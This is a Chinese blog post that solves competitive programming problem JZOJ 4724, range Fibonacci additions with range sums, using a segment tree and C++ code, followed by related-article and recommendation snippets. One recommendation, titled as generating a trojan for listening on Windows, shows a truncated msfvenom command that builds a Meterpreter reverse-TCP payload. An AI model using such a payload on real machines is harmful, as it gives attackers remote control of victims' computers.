\(\text{Problem}\)

\(\text{Solution}\)

\(\text{Fibonacci}\) 数列有一个性质:若 \(H_1=a,H_2=b,H_n=H_{n-2}+H_{n-1}\)

则有 \(H_n=a\cdot F_{n-2}+b\cdot F_{n-1}\)

有了这个性质后,对一段区间加斐波那契数列后,我们可以 \(O(1)\) 知道任意一位加的数是多少(当然是预处理出斐波那契数列后)

也就是说维护这段区间前两位加的数 \({a,b}\) 即可

对于一段区间求区间和即 \(ans=a\cdot[(\sum_{i=1}^{r-l-1}F_i)+1]+b\cdot\sum_{i=1}^{r-l}F_i\)

线段树维护每段区间加的 \(a,b\) 即可

\(\text{Code}\)

#include<cstdio>
#define ls (p << 1)
#define rs (ls | 1)
typedef long long LL;
using namespace std; const int N = 1e5 + 5;
const LL P = 1e9 + 9;
int n, m;
LL a[N], F[N], sF[N];
LL sum[N * 4], tg1[N * 4], tg2[N * 4]; void pushup(int p) {sum[p] = (sum[ls] + sum[rs]) % P;}
void update1(int l, int r, int p, int x, int v)
{
if (l == r) return void(tg1[p] = sum[p] = v);
int mid = (l + r) >> 1;
if (x <= mid) update1(l, mid, ls, x, v);
else update1(mid + 1, r, rs, x, v);
pushup(p);
}
void change(int l, int r, int p, LL v1, LL v2)
{
sum[p] = (sum[p] + v1 * (sF[(r - l - 1)<0?0:(r - l - 1)] + 1) % P + v2 * sF[r - l] % P) % P;
tg1[p] = (tg1[p] + v1) % P, tg2[p] = (tg2[p] + v2) % P;
}
void pushdown(int l, int r, int p)
{
if (!tg1[p] && !tg2[p]) return;
int mid = (l + r) >> 1;
change(l, mid, ls, tg1[p], tg2[p]);
LL v1 = (tg1[p] * F[mid - l] % P + tg2[p] * F[mid - l + 1] % P) % P;
LL v2 = (tg1[p] * F[mid - l + 1] % P + tg2[p] * F[mid - l + 2] % P) % P;
change(mid + 1, r, rs, v1, v2);
tg1[p] = 0, tg2[p] = 0;
}
void update2(int l, int r, int p, int x, int y, LL v1, LL v2)
{
if (x <= l && r <= y) return void(change(l, r, p, v1, v2));
int mid = (l + r) >> 1;
pushdown(l, r, p);
if (x <= mid) update2(l, mid, ls, x, y, v1, v2);
LL a = v1, b = v2;
if (l <= x && x <= mid) a = (v1 * F[mid - x] % P + v2 * F[mid - x + 1] % P) % P,
b = (v1 * F[mid - x + 1] % P + v2 * F[mid - x + 2] % P) % P;
else if (l > x && x <= mid) a = (v1 * F[mid - l] % P + v2 * F[mid - l + 1] % P) % P,
b = (v1 * F[mid - l + 1] % P + v2 * F[mid - l + 2] % P) % P;
if (y > mid) update2(mid + 1, r, rs, x, y, a, b);
pushup(p);
}
LL query(int l, int r, int p, int x, int y)
{
if (x <= l && r <= y) return sum[p];
int mid = (l + r) >> 1; LL ret = 0;
pushdown(l, r, p);
if (x <= mid) ret = query(l, mid, ls, x, y);
if (y > mid) ret = (ret + query(mid + 1, r, rs, x, y)) % P;
return ret;
} int main()
{
scanf("%d%d", &n, &m);
for(int i = 1, x; i <= n; i++) scanf("%d", &x), update1(1, n, 1, i, x);
F[1] = 1, F[2] = 1, sF[1] = 1, sF[2] = 2;
for(int i = 3; i <= n; i++) F[i] = (F[i - 1] + F[i - 2]) % P;
for(int i = 3; i <= n; i++) sF[i] = (sF[i - 1] + F[i]) % P;
for(int op, l, r; m; --m)
{
scanf("%d%d%d", &op, &l, &r);
if (op == 1) update2(1, n, 1, l, r, F[1], F[2]);
else printf("%lld\n", query(1, n, 1, l, r));
}
}

JZOJ.4724 斐波那契的更多相关文章

  1. C#求斐波那契数列第30项的值(递归和非递归)

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  2. python迭代器实现斐波拉契求值

    斐波那契数列(Fibonacci sequence),又称黄金分割数列,也称为"兔子数列":F(0)=0,F(1)=1,F(n)=F(n-1)+F(n-2)(n≥2,n∈N*).例 ...

  3. Ural 1225. Flags 斐波那契DP

    1225. Flags Time limit: 1.0 secondMemory limit: 64 MB On the Day of the Flag of Russia a shop-owner ...

  4. 斐波拉契数列加强版——时间复杂度O(1),空间复杂度O(1)

    对于斐波拉契经典问题,我们都非常熟悉,通过递推公式F(n) = F(n - ) + F(n - ),我们可以在线性时间内求出第n项F(n),现在考虑斐波拉契的加强版,我们要求的项数n的范围为int范围 ...

  5. js中的斐波那契数列法

    //斐波那契数列:1,2,3,5,8,13…… //从第3个起的第n个等于前两个之和 //解法1: var n1 = 1,n2 = 2; for(var i=3;i<101;i++){ var ...

  6. 剑指Offer面试题:8.斐波那契数列

    一.题目:斐波那契数列 题目:写一个函数,输入n,求斐波那契(Fibonacci)数列的第n项.斐波那契数列的定义如下: 二.效率很低的解法 很多C/C++/C#/Java语言教科书在讲述递归函数的时 ...

  7. 算法: 斐波那契数列C/C++实现

    斐波那契数列: 1,1,2,3,5,8,13,21,34,....     //求斐波那契数列第n项的值 //1,1,2,3,5,8,13,21,34... //1.递归: //缺点:当n过大时,递归 ...

  8. 洛谷P1962 斐波那契数列 || P1349 广义斐波那契数列[矩阵乘法]

    P1962 斐波那契数列 大家都知道,斐波那契数列是满足如下性质的一个数列: • f(1) = 1 • f(2) = 1 • f(n) = f(n-1) + f(n-2) (n ≥ 2 且 n 为整数 ...

  9. Python递归及斐波那契数列

    递归函数 在函数内部,可以调用其他函数.如果一个函数在内部调用自身本身,这个函数就是递归函数.举个例子,我们来计算阶乘 n! = 1 * 2 * 3 * ... * n,用函数 fact(n)表示,可 ...

  10. 简单Java算法程序实现!斐波那契数列函数~

    java编程基础--斐波那契数列 问题描述:一只青蛙一次可以跳上1级台阶,也可以跳上2级.求该青蛙跳上一个n级的台阶总共有多少种跳法. 思路:可能出现的情况:(1) n=1 ,一种方法 ;(2)n=2 ...

随机推荐

  1. 100IT 名企 java 面试必考面试题

    一.Java基础(2/133) 二.Java代码报错(52/133) 三.算法与编程(55/133) 四.html&JavaScript&ajax部分 五.Java Web部分 六.数 ...

  2. 5V升压12.6V

    产品概述 PW4053 是一款 5V 输入,最大 1.2A 充电电流,支持三节锂离子电池的升压充电管理 IC.PW4053 集成功率 MOS,采用异步开关架构,使其在应用时仅需极少的外围器件,可有效减 ...

  3. 说说真实Java项目的开发流程,以及面试前的项目准备说辞

    介绍项目是必不可少的Java面试环节,求职者需要借此证明自己真实Java项目的经验,如果再做的好的话,需要借此展开自己的亮点说辞. 不过之前如果只有学习项目经验,比如是自己跑通一个项目,或者是在培训班 ...

  4. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  5. AcWing786.第k个数

    题目描述 给定一个长度为 \(n\) 的整数数列,以及一个整数 \(k\),请用快速选择算法求出数列从小到大排序后的第 \(k\) 个数. 输入格式 第一行包含两个整数 \(n\) 和 \(k\). ...

  6. JavaScript:输出语法

    主要有三种,如下所示:

  7. golang在win10安装、环境配置 和 goland(IDE开发golang配置)

    前言 本人在使用goland软件开发go时,对于goland软件配置网上资料少,为了方便自己遗忘.也为了希望和我一样的小白能够更好的使用,所以就写下这篇博客,废话不多说开考. 一.查看自己电脑系统版本 ...

  8. 【Redis场景2】缓存更新策略(双写一致)

    在业务初始阶段,流量很少的情况下,通过直接操作数据是可行的操作,但是随着业务量的增长,用户的访问量也随之增加,在该阶段自然需要使用一些手段(缓存)来减轻数据库的压力:所谓遇事不决,那就加一层. 在当前 ...

  9. 笑死,面试官又问我SpringBoot自动配置原理

    面试官:好久没见,甚是想念.今天来聊聊SpringBoot的自动配置吧? 候选者:嗯,SpringBoot的自动配置我觉得是SpringBoot很重要的"特性"了.众所周知,Spr ...

  10. JavaWeb项目编译前后的目录结构

    JavaWeb项目编译前后的目录结构 编译前 页面和视图都放在webapp目录下 编译后 webapps WEB-INF